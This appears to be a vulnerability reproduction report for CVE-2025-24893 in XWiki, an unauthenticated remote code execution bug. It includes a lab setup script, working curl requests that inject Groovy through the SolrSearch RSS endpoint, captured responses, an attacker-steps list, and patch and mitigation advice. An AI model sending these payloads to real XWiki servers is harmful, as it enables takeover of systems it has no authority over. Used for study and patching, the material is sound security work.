- CVE: CVE-2025-24893
- Issue: XWiki exposes the
/xwiki/bin/get/Main/SolrSearchendpoint that renders user-controlled wiki macros inside the RSS response whenmedia=rssis supplied. This allows unauthenticated remote attackers to execute arbitrary Groovy code on affected installations. - Affected build confirmed:
xwiki-platform-distribution-flavor-jetty-hsqldb-16.4.0(Jetty + HSQLDB bundle). - Exploit outcome: The proof-of-concept payload executes server-side Groovy and writes a marker file to
/tmp/xwiki_rce_marker, demonstrating arbitrary code execution and file system modification. - Severity: Critical (CVSS 3.1: 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
- CWE: CWE-95 – Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').
Unauthenticated attackers can run arbitrary Groovy scripts under the XWiki application account. This enables:
- Reading or modifying XWiki content and configuration.
- Writing files or dropping webshells on the host (demonstrated via
/tmp/xwiki_rce_marker). - Escalating to full server compromise by leveraging
Runtime.getRuntime().exec, database access, or credential theft.
Because the vulnerable endpoint is exposed to guests by default, exploitation requires only network access to the XWiki HTTP interface.
The vulnerable implementation resides in Main/SolrSearchMacros.xml shipped with the Solr UI extension. When the endpoint is invoked with media=rss, the macro pipeline renders the search results using wiki syntax with cleaning disabled, allowing attacker-supplied macros to execute during RSS generation.
# (Extract from `Main/SolrSearchMacros.xml` in `xwiki-platform-search-solr-ui-16.4.0.xar`)
0885: {{html clean="false"}}
0886: ## The search UI is updated dynamically through AJAX and we need to pull the skin extensions.
...
0910: #displaySearchResults()
...
0954: #set ($discard = $response.setContentType('application/rss+xml'))
0955: $xwiki.feed.getFeedOutput($feed, 'rss_2.0')
0956: #end
...
0961: #if ($request.media == 'rss')
0962: #outputRSSFeed()Key observations:
- The macro renders RSS output using the wiki renderer without escaping (
{{html clean="false"}},#displaySearchResults()), so user input injected via thetextquery parameter is evaluated as wiki markup. - Invoking the endpoint with
media=rssbypasses UI rendering and immediately streams the feed, so results containing{{groovy}}blocks are executed server-side before the response is sent. - Patched releases (15.10.11, 16.4.1, 16.5.0RC1) replace this flow with the hardened
rawResponsemacro to emit literal XML instead of executing macros.
- Base image: Debian-derived environment with
curl,zip, andsudo. - Java runtime:
openjdk-17-jre-headless(installed automatically if absent). - XWiki distribution:
xwiki-platform-distribution-flavor-jetty-hsqldb-16.4.0.zip. - Browser/API client:
curl.
The following script provisions a fresh Jetty+HSQLDB instance, configures the built-in superadmin, disables the distribution wizard, starts the server, and triggers the exploit. It is safe to run multiple times; each invocation wipes previous state and recreates the distribution directory.
View reproduction script
# File: artifacts/runs/xwiki-solrsearch-guest-rce/20251102-060756/xwiki-solrsearch-guest-rce/default_recipe/reproduction_steps.sh
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
LOG_DIR="$ROOT/logs"
STATE_DIR="$ROOT/state"
CACHE_DIR="$ROOT/prepped"
DIST_VERSION="16.4.0"
DIST_ARCHIVE_NAME="xwiki-platform-distribution-flavor-jetty-hsqldb-${DIST_VERSION}.zip"
DIST_URL="http://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-distribution-flavor-jetty-hsqldb/${DIST_VERSION}/${DIST_ARCHIVE_NAME}"
DIST_ROOT="$STATE_DIR/xwiki-jetty"
DIST_DIR="$DIST_ROOT/xwiki-platform-distribution-flavor-jetty-hsqldb-${DIST_VERSION}"
DIST_ARCHIVE_PATH="$CACHE_DIR/$DIST_ARCHIVE_NAME"
JETTY_LOG="$DIST_DIR/data/logs/xwiki.log"
VULN_RSS_LOG="$LOG_DIR/solr_rss_vuln.xml"
SIDE_RSS_LOG="$LOG_DIR/solr_rss_side_effect.xml"
MARKER_FILE="/tmp/xwiki_rce_marker"
cleanup() {
if [[ -n "${SERVER_STARTED:-}" ]] && [[ -d "$DIST_DIR" ]]; then
(cd "$DIST_DIR" && ./stop_xwiki.sh >/dev/null 2>&1 || true)
sleep 5 || true
fi
if pgrep -f 'jetty/start.jar' >/dev/null 2>&1; then
pkill -f 'jetty/start.jar' || true
sleep 2 || true
fi
}
trap cleanup EXIT
mkdir -p "$LOG_DIR" "$CACHE_DIR"
rm -f "$LOG_DIR"/*.xml "$LOG_DIR"/*.log "$MARKER_FILE"
# Ensure Java is available
if ! command -v java >/dev/null 2>&1; then
echo "[+] Installing OpenJDK 17 runtime" >&2
sudo apt-get update -y >/dev/null
sudo apt-get install -y openjdk-17-jre-headless >/dev/null
fi
# Prepare fresh distribution
rm -rf "$DIST_ROOT"
mkdir -p "$DIST_ROOT"
if [[ ! -f "$DIST_ARCHIVE_PATH" ]]; then
echo "[+] Downloading XWiki ${DIST_VERSION} jetty-hsqldb distribution" >&2
curl -sSL "$DIST_URL" -o "$DIST_ARCHIVE_PATH"
fi
echo "[+] Extracting distribution" >&2
export DIST_ARCHIVE_PATH DIST_ROOT
python3 - <<'PY'
import zipfile, os
archive = os.environ['DIST_ARCHIVE_PATH']
dest = os.environ['DIST_ROOT']
with zipfile.ZipFile(archive) as z:
z.extractall(dest)
PY
# Configure superadmin and disable wizard
CFG_FILE="$DIST_DIR/webapps/xwiki/WEB-INF/xwiki.cfg"
PROP_FILE="$DIST_DIR/webapps/xwiki/WEB-INF/xwiki.properties"
{
echo "xwiki.superadminpassword=superadmin"
} >>"$CFG_FILE"
{
echo "distribution.automaticStartOnMainWiki=false"
echo "distribution.automaticStartOnWiki=false"
} >>"$PROP_FILE"
# Start server
echo "[+] Starting Jetty XWiki" >&2
chmod +x "$DIST_DIR/start_xwiki.sh" "$DIST_DIR/stop_xwiki.sh"
(cd "$DIST_DIR" && nohup ./start_xwiki.sh >/tmp/xwiki-jetty.log 2>&1 &)
SERVER_STARTED=1
# Wait for readiness
for i in {1..120}; do
status=$(curl -s -o /dev/null -w '%{http_code}' http://localhost:8080/xwiki/bin/get/Main/WebHome || true)
if [[ "$status" == "200" || "$status" == "302" || "$status" == "404" ]]; then
echo "[+] XWiki is responding (status $status)" >&2
break
fi
if [[ "$i" -eq 120 ]]; then
echo "[-] XWiki did not become ready in time" >&2
exit 1
fi
sleep 5
done
# Trigger vulnerable RSS rendering
echo "[+] Requesting vulnerable RSS feed" >&2
curl -sS -D "$LOG_DIR/solr_rss_vuln.headers" -G \
'http://localhost:8080/xwiki/bin/get/Main/SolrSearch' \
--data-urlencode 'media=rss' \
--data-urlencode 'text={{async async=false}}{{groovy}}println("Hello from search text:"+(23+19)){{/groovy}}{{/async}}' \
-o "$VULN_RSS_LOG"
grep -q 'Hello from search text:42' "$VULN_RSS_LOG" || {
echo "[-] Expected Groovy output not found in RSS response" >&2
exit 1
}
echo "[+] Groovy execution observed in RSS feed" >&2
# Demonstrate file write side-effect
echo "[+] Triggering marker file creation" >&2
curl -sS -D "$LOG_DIR/solr_rss_side_effect.headers" -G \
'http://localhost:8080/xwiki/bin/get/Main/SolrSearch' \
--data-urlencode 'media=rss' \
--data-urlencode 'text={{async async=false}}{{groovy}}new File("/tmp/xwiki_rce_marker").text="jetty"{{/groovy}}{{/async}}' \
-o "$SIDE_RSS_LOG"
if [[ ! -f "$MARKER_FILE" ]]; then
echo "[-] Marker file was not created" >&2
exit 1
fi
if ! grep -q 'jetty' "$MARKER_FILE"; then
echo "[-] Marker file content unexpected" >&2
exit 1
fi
echo "[+] Marker file created at $MARKER_FILE" >&2
# Capture server log excerpt
if [[ -f "$JETTY_LOG" ]]; then
tail -n 200 "$JETTY_LOG" > "$LOG_DIR/xwiki.log"
fi
echo "[+] Reproduction succeeded" >&2
printf 'Hello from RSS payload -> see %s\n' "$VULN_RSS_LOG"
printf 'Marker file -> %s\n' "$MARKER_FILE"Run the script from the report directory:
cd artifacts/runs/xwiki-solrsearch-guest-rce/20251102-060756/xwiki-solrsearch-guest-rce/default_recipe
bash reproduction_steps.shView reproduction log
# File: workspace/xwiki-solrsearch-guest-rce/logs/repro-run-2.txt
[+] Extracting distribution
[+] Starting Jetty XWiki
[+] XWiki is responding (status 200)
[+] Requesting vulnerable RSS feed
[+] Groovy execution observed in RSS feed
[+] Triggering marker file creation
[+] Marker file created at /tmp/xwiki_rce_marker
[+] Reproduction succeeded
Hello from RSS payload -> see /home/g.linux/workspace/workspace/xwiki-solrsearch-guest-rce/logs/solr_rss_vuln.xml
Marker file -> /tmp/xwiki_rce_marker
Exploit request:
curl -sS -D solr_rss_vuln.headers -G \
'http://localhost:8080/xwiki/bin/get/Main/SolrSearch' \
--data-urlencode 'media=rss' \
--data-urlencode 'text={{async async=false}}{{groovy}}println("Hello from search text:"+(23+19)){{/groovy}}{{/async}}' \
-o solr_rss_vuln.xmlHTTP response headers (workspace/xwiki-solrsearch-guest-rce/logs/solr_rss_vuln.headers):
HTTP/1.1 200 OK
Content-Script-Type: text/javascript
Set-Cookie: JSESSIONID=node033ruq3xtzflg15l3jvfzfyvty1.node0; Path=/xwiki
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Language: en
Content-Location: /xwiki/bin/view/Main/SolrSearch
Content-Type: application/rss+xml;charset=utf-8
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 1588
Server: Jetty(10.0.20)
RSS body showing Groovy output (workspace/xwiki-solrsearch-guest-rce/logs/solr_rss_vuln.xml):
View RSS payload
<p><?xml version="1.0" encoding="UTF-8"?><br/><rss xmlns:dc="<span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://purl.org/dc/elements/1.1/"><span class="wikigeneratedlinkcontent">http://purl.org/dc/elements/1.1/</span></a></span>" version="2.0"><br/> <channel><br/> <title>RSS feed for search on [Hello from search text:42]</title><br/> <link><span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://localhost:8080/xwiki/bin/view/Main/SolrSearch?text=%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%20search%20text%3A%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"><span class="wikigeneratedlinkcontent">http://localhost:8080/xwiki/bin/view/Main/SolrSearch?text=%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%20search%20text%3A%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D</span></a></span></link><br/> <description>RSS feed for search on [Hello from search text:42]</description><br/> <language>en</language><br/> <copyright /><br/> <dc:creator>XWiki</dc:creator><br/> <dc:language>en</dc:language><br/> <dc:rights /><br/> </channel><br/></rss></p><div class="wikimodel-emptyline"></div><div class="wikimodel-emptyline"></div>The RSS <title> and <description> fields reflect the Groovy output Hello from search text:42, proving the server evaluated the injected script.
Exploit request:
curl -sS -D solr_rss_side_effect.headers -G \
'http://localhost:8080/xwiki/bin/get/Main/SolrSearch' \
--data-urlencode 'media=rss' \
--data-urlencode 'text={{async async=false}}{{groovy}}new File("/tmp/xwiki_rce_marker").text="jetty"{{/groovy}}{{/async}}' \
-o solr_rss_side_effect.xmlHTTP response headers (workspace/xwiki-solrsearch-guest-rce/logs/solr_rss_side_effect.headers):
HTTP/1.1 200 OK
Content-Script-Type: text/javascript
Set-Cookie: JSESSIONID=node01gn32t9ropvra192kr46fbe4962.node0; Path=/xwiki
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Language: en
Content-Location: /xwiki/bin/view/Main/SolrSearch
Content-Type: application/rss+xml;charset=utf-8
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 2748
Server: Jetty(10.0.20)
RSS body confirming successful execution (workspace/xwiki-solrsearch-guest-rce/logs/solr_rss_side_effect.xml):
View RSS payload with file-write side effect
<p><?xml version="1.0" encoding="UTF-8"?><br/><rss xmlns:dc="<span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://purl.org/dc/elements/1.1/"><span class="wikigeneratedlinkcontent">http://purl.org/dc/elements/1.1/</span></a></span>" version="2.0"><br/> <channel><br/> <title>RSS feed for search on [jetty]</title><br/> <link><span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://localhost:8080/xwiki/bin/view/Main/SolrSearch?text=%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dnew%20File%28%22%2Ftmp%2Fxwiki_rce_marker%22%29.text%3D%22jetty%22%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"><span class="wikigeneratedlinkcontent">http://localhost:8080/xwiki/bin/view/Main/SolrSearch?text=%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dnew%20File%28%22%2Ftmp%2Fxwiki_rce_marker%22%29.text%3D%22jetty%22%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D</span></a></span></link><br/> <description>RSS feed for search on [jetty]</description><br/> <language>en</language><br/> <copyright /><br/> <dc:creator>XWiki</dc:creator><br/> <dc:language>en</dc:language><br/> <dc:rights /><br/> <item><br/> <title>Help</title><br/> <link><span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://localhost:8080/xwiki/bin/view/Help/?language="><span class="wikigeneratedlinkcontent">http://localhost:8080/xwiki/bin/view/Help/?language=</span></a></span></link><br/> <description>Version 2.1 edited by superadmin on Sun Nov 02 10:46:30 CET 2025</description><br/> <pubDate>Sun, 02 Nov 2025 09:46:30 GMT</pubDate><br/> <guid isPermaLink="false"><span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://localhost:8080/xwiki/bin/view/Help/?language="><span class="wikigeneratedlinkcontent">http://localhost:8080/xwiki/bin/view/Help/?language=</span></a></span></guid><br/> <dc:creator>superadmin</dc:creator><br/> <dc:date>2025-11-02T09:46:30Z</dc:date><br/> </item><br/> </channel><br/></rss></p><div class="wikimodel-emptyline"></div><div class="wikimodel-emptyline"></div>Marker file contents (cat /tmp/xwiki_rce_marker captured in tool_325_run_shell.log):
jetty
This file is created by the injected Groovy code, demonstrating arbitrary file write capability.
- Identify an internet-accessible XWiki instance prior to 15.10.11 / 16.4.1.
- Issue a single unauthenticated GET request to
/xwiki/bin/get/Main/SolrSearchwithmedia=rssand a payload containing arbitrary Groovy logic inside{{async}}{{groovy}}...{{/groovy}}{{/async}}. - The server executes the Groovy payload with application privileges, granting full remote code execution. Attackers can read or overwrite files, execute system commands, plant persistence mechanisms, or exfiltrate secrets.
- Upgrade immediately to XWiki 15.10.11, 16.4.1, 16.5.0RC1, or later. These releases replace the vulnerable macro implementation.
- Apply vendor mitigation if upgrading is not possible: edit
Main.SolrSearchMacrosto reuse the hardenedrawResponsemacro (see https://github.com/xwiki/xwiki-platform/commit/67021db9b8ed26c2236a653269302a86bf01ef40) so attacker input is treated as literal XML, not executed wiki markup. - Restrict guest access to the Solr search endpoint as a temporary defense, though this is not a complete mitigation because authenticated low-privilege users can still exploit the issue.
- Monitor for indicators such as unexpected files (for example
/tmp/xwiki_rce_marker, JSP webshells) or anomalous Groovy execution in logs.
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'). The application passes attacker-controlled wiki markup directly into the rendering engine, which evaluates embedded directives/macros as executable code.
- GitHub Advisory: https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j
- Vendor fix commit: https://github.com/xwiki/xwiki-platform/commit/67021db9b8ed26c2236a653269302a86bf01ef40
- XWIKI-22149 tracker: https://jira.xwiki.org/browse/XWIKI-22149